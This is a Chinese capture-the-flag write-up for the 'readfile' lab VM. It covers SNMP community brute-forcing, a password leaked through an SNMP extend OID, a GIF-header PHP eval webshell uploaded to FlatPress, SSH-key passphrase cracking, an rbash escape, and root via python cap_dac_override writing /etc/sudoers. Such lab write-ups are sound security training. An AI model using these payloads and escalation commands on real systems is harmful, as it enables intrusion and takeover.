Maze-readfile靶机-作者:/-QQ群660930334 #
信息收集 #
NMAP扫描端口 TCP
这里发现一个80我们访问发现是一个flatpress的博客界面 他有一个目录遍历的漏洞
┌──(root㉿kali)-[/linepas]
└─# nmap 172.20.10.3 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2025-09-28 00:29 EDT
Nmap scan report for wordpress.local (172.20.10.3)
Host is up (0.00030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:BE:6E:41 (Oracle VirtualBox virtual NIC)
这个博客有一个目录遍历漏洞我看作者提示叫我们翻文件我就去翻呗翻到密码就拿下webshell了
到网上找到了他的系统架构
flatpress/
├── admin/
├── docs/
├── fp-content/
├── fp-defaults/
├── fp-includes/
├── fp-interface/
├── fp-plugins/
├── setup/
├── .gitignore
├── CHANGELOG.md
├── CONTRIBUTORS.md
├── LICENSE.md
├── README.md
├── SECURITY.md
├── admin.php
├── blog.php
├── comments.php
├── contact.php
├── defaults.php
├── get.php
├── index.php
├── login.php
├── rss.php
├── search.php
├── setup.php
├── sitemap.php
└── static.php
结果啥都没有发现
一般这个时候就是信息收集不对了
一般我UDP扫描前100个 但是就是这个出现了问题
可以发现出现了snmp 简单网络管理协议
Not shown: 198 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
MAC Address: 08:00:27:BE:6E:41 (Oracle VirtualBox virtual NIC)
这个协议交互需要一个类似密钥通过软件来爆破
发现密钥hello
└─# onesixtyone -c /usr/share/john/password.lst 172.20.10.3 -w 64
Scanning 1 hosts, 3656 communities
172.20.10.3 [hello] Linux readfile 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
然后我们来翻文件
翻到了密码
.1.3.6.1.4.1.8072.1.3.2 这个 OID 并不属于标准的公共 MIB(管理信息库),而是属于 IANA(互联网号码分配局)维护的 “私有实验性 MIB” 范围
snmpwalk -v2c -c hello 172.20.10.3 发现没什么
─# snmpwalk -v2c -c hello -On 172.20.10.3 .1.3.6.1.4.1.8072.1.3.2
.1.3.6.1.4.1.8072.1.3.2.1.0 = INTEGER: 1
.1.3.6.1.4.1.8072.1.3.2.2.1.2.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = STRING: "/bin/bash"
.1.3.6.1.4.1.8072.1.3.2.2.1.3.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = STRING: "/usr/local/bin/get_password_info.sh"
.1.3.6.1.4.1.8072.1.3.2.2.1.4.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = ""
.1.3.6.1.4.1.8072.1.3.2.2.1.5.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 5
.1.3.6.1.4.1.8072.1.3.2.2.1.6.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 1
.1.3.6.1.4.1.8072.1.3.2.2.1.7.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 1
.1.3.6.1.4.1.8072.1.3.2.2.1.20.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 4
.1.3.6.1.4.1.8072.1.3.2.2.1.21.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 1
.1.3.6.1.4.1.8072.1.3.2.3.1.1.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = STRING: "Please change your old password mini:hereismyP@ssword!"
.1.3.6.1.4.1.8072.1.3.2.3.1.2.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = STRING: "Please change your old password mini:hereismyP@ssword!"
.1.3.6.1.4.1.8072.1.3.2.3.1.3.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 1
.1.3.6.1.4.1.8072.1.3.2.3.1.4.13.112.97.115.115.119.111.114.100.95.108.101.97.107 = INTEGER: 0
.1.3.6.1.4.1.8072.1.3.2.4.1.2.13.112.97.115.115.119.111.114.100.95.108.101.97.107.1 = STRING: "Please change your old password mini:hereismyP@ssword!"
登录进去上传文件 这里头加一个gif头可以绕过
GIF89a;
<?php
eval($_POST["pass"]);
然后用哥斯拉连接
拿到用户shell #
进去发现执行不了命令但是我们可以读取文件
currentDir:/var/www/html/fp-content/attachs/
fileRoot:[/]
currentUser:www-data
osInfo:Linux readfile 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
/var/www/html/fp-content/attachs/ >
NULL
/var/www/html/fp-content/attachs/ >ls
none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available
/var/www/html/fp-content/attachs/ >
发现用户mini里面有.ssh文件并且还有auxx文件我们可以直接登录下载文件到本地并且ssh密钥爆破
└─# chmod 600 /root/id_rsa
┌──(root㉿kali)-[~/generate_by_username]
└─# ssh mini@172.20.10.3 -i /root/id_rsa
Enter passphrase for key '/root/id_rsa':
发现要密码我们再ssh2john爆破
─# ssh2john /root/id_rsa
/root/id_rsa:$sshng$6$16$6cf6117d7ba0438249294d07880575a7$1910$6f70656e7373682d6b65792d7631000000000a6165733235362d6374720000000662637279707400000018000000106cf6117d7ba0438249294d07880575a7000000100000000100000197000000077373682d727361000000030100010000018100cc2cfb1756296a5f58406eb987bb4cbeafa8af7e589792a7e57a30b483ad6c5caea9e175da9757f9e7811xxxxxxx
再用john
└─# john --wordlist=/usr/share/wordlists/rockyou.txt john.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovehim (/root/id_rsa)
登录用户拿到user
ssh mini@172.20.10.3 -i /root/id_rsa
输入密码ilovehim
New release '24.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Sep 27 09:25:25 2025 from 172.20.10.11
mini@readfile:~$
提权 #
这里说了进入到了rbash里面
禁止切换目录:不能使用cd命令,也无法通过PATH或环境变量切换到其他目录。
禁止修改环境变量:PATH、HOME等环境变量被固定,无法通过export等命令修改。
禁止执行外部命令:只能运行PATH中指定目录的命令,且不能使用绝对路径(如/bin/ls)或相对路径(如./script.sh)执行程序。
禁止重定向和管道:无法使用>、<、>>等重定向符号,也不能使用|管道符。
禁止使用某些 bash 特性:如别名(alias)定义、函数定义、背景执行(&)、命令替换($(...))等。
mini@readfile:~$ cat lo-rbash: /dev/null: restricted: cannot redirect output
bash_completion: _upvars: `-a2': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash_completion: _upvars: `-a0': invalid number specifier
跳出rbash输入命令
c
mini@readfile:~$ bash -p -i
Debian-snmp:x:114:120::/var/lib/snmp:/bin/false
mini@readfile:~$
mini@readfile:~$ bash -p -i
mini@readfile:~$ whoami
mini
mini@readfile:~$ ls
local.txt
mini@readfile:~$ cd /
mini@readfile:/$ pwd
/
mini@readfile:/$
你跳出rbash的核心操作是bash -i—— 通过启动一个新的交互式 bash shell,绕过了原rbash的受限环境。这本质上是目标系统rbash配置不严格导致的,允许用户直接调用未受限的bash程序
用提权软件来扫描
发现一个/usr/bin/python3.10 cap_dac_override=ep 这里标红了
Linux 能力机制将 root 用户的超级权限拆分为一系列独立的 “能力”,进程可以只拥有完成任务所需的特定能力,而无需拥有完整的 root 权限。例如:
CAP_DAC_OVERRIDE:绕过文件的 discretionary access control (DAC) 检查(简单说,就是可以读写 / 执行任何文件,忽略文件的所有者和权限位限制)。
CAP_NET_RAW:允许创建原始网络套接字(用于抓包等操作)。
2. cap_dac_override=ep 的含义
这是设置进程能力的语法,格式为 [能力名称]=[标志],其中:
cap_dac_override:指定要赋予的能力(如上面所说,用于绕过文件权限检查)。
ep:是能力的标志位组合:
e(Effective):该能力处于 “生效” 状态,进程当前可以使用这个能力。
p(Permitted):该能力被 “允许”,进程可以在需要时将其切换为生效状态(e 标志依赖 p 标志)。
/usr/bin/python3.10 cap_dac_override=ep 通常是在启动 python3.10 进程时,为其赋予 CAP_DAC_OVERRIDE
所以可以不看比如root权限
直接绕过文件权限检查
无需切换到 root 用户
cap_dac_override 是 Linux 中 “文件访问权限” 的 “超级通行证”,拥有它的进程可以无视文件的所有者和权限位,直接操作包括 root 所有的文件。这也是为什么该能力被视为高风险权限,滥用会严重威胁系统安全。
读取列表
/usr/bin/python3.10 -c ‘import os;print(os.listdir("/root"))’
mini@readfile:/$ /usr/bin/python3.10 -c 'import os;print(os.listdir("/root"))'
['proof.txt', '.bashrc', '.Xauthority', '.bash_history', '.cache']
mini@readfile:/$
读取文件
/usr/bin/python3.10 -c ‘print(open("/root/proof.txt").read())’
mini@readfile:/$ /usr/bin/python3.10 -c 'print(open("/root/proof.txt").read())'
15ea28dcdd363fbb1feaf8798cffee17
写入文件到/etc/sudoers
mini@readfile:/$ /usr/bin/python3.10 -c "with open('/etc/sudoers','a')as f:
f.write('mini ALL=(ALL:ALL) NOPASSWD: ALL\n')"
mini@readfile:/$ sudo -l
Matching Defaults entries for mini on readfile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mini may run the following commands on readfile:
(ALL : ALL) NOPASSWD: ALL
mini@readfile:/$
解释下
第一个all 哪些位置可以用
第二个all 可切换的用户
第三个all 可切换的组
第三个all 可执行的命令
登录root
mini@readfile:/$ sudo su root
root@readfile:/#
root@readfile:/# ls -al
总结 #
文件配置在
extend password_leak /bin/bash /usr/local/bin/get_password_info.sh
root@readfile:~# cat /usr/local/bin/get_password_info.sh
#!/bin/bash
echo "Please change your old password mini:hereismyP@ssword!"
root@readfile:~# cat /etc/snmp/snmpd.conf
引入指定目录下的所有配置文件(类似 snmpd.conf.d 目录中的文件会被自动加载)。
includeDir /etc/snmp/snmpd.conf.d
extend password_leak /bin/bash /usr/local/bin/get_password_info.sh
过 extend 指令创建自定义 SNMP 扩展,将脚本 /usr/local/bin/get_password_info.sh 的输出挂载到 SNMP 的 OID 上。
1 SNMP(简单网络管理协议):用于网络设备监控和管理的协议,常见版本有 v1、v2c(社区字符串认证)、v3(加密和认证)。
2 社区字符串(Community String):v1/v2c 中的认证凭证,类似密码,rocommunity为只读权限,rwcommunity为读写权限(如hello是你使用的只读字符串)。
3 OID(对象标识符):SNMP 中标识监控项的唯一路径,采用树状结构(如.1.3.6.1.4.1.8072.1.3.2是 net-snmp 扩展功能的默认路径)。
4 net-snmp 扩展功能:通过extend指令在 snmpd.conf 中配置,可将自定义脚本输出挂载到特定 OID,实现自定义监控项(如泄露密码信息)。
5 snmpwalk 命令:用于遍历 SNMP 代理的 OID 树,格式为snmpwalk -v版本 -c社区字符串 目标IP [OID],可获取指定 OID 的信息。
实验性 OID(.8072):IANA 预留的用于测试的企业 ID,常被 net-snmp 等工具用于自定义扩展,非官方标准 OID。
6 SNMP 安全风险:弱社区字符串、错误配置的扩展 OID 可能泄露敏感信息(如密码、系统数据),v1/v2c 传输不加密,存在窃听风险。
Linux capabilities(能力机制):将 root 权限拆分为细粒度特权,进程可仅获取必要权限(如cap_dac_override允许绕过文件权限检查)。
7 cap_dac_override=ep:为进程赋予绕过文件 DAC 权限检查的能力,允许访问 / 修改原本无权限的文件(包括 root 所有文件)。
8 rbash(受限 bash):限制用户操作,如禁止cd、修改环境变量、使用绝对路径执行命令,可通过bash -i等方式突破(依赖配置缺陷)。
9 /etc/sudoers配置:控制用户sudo权限,格式为用户名 主机=(用户:组) 命令,NOPASSWD:关键字可实现免密执行。
10 Bash 引号规则:单引号(')内内容完全原样保留,不可嵌套单引号;双引号(")内解析变量,可包含单引号,避免语法冲突。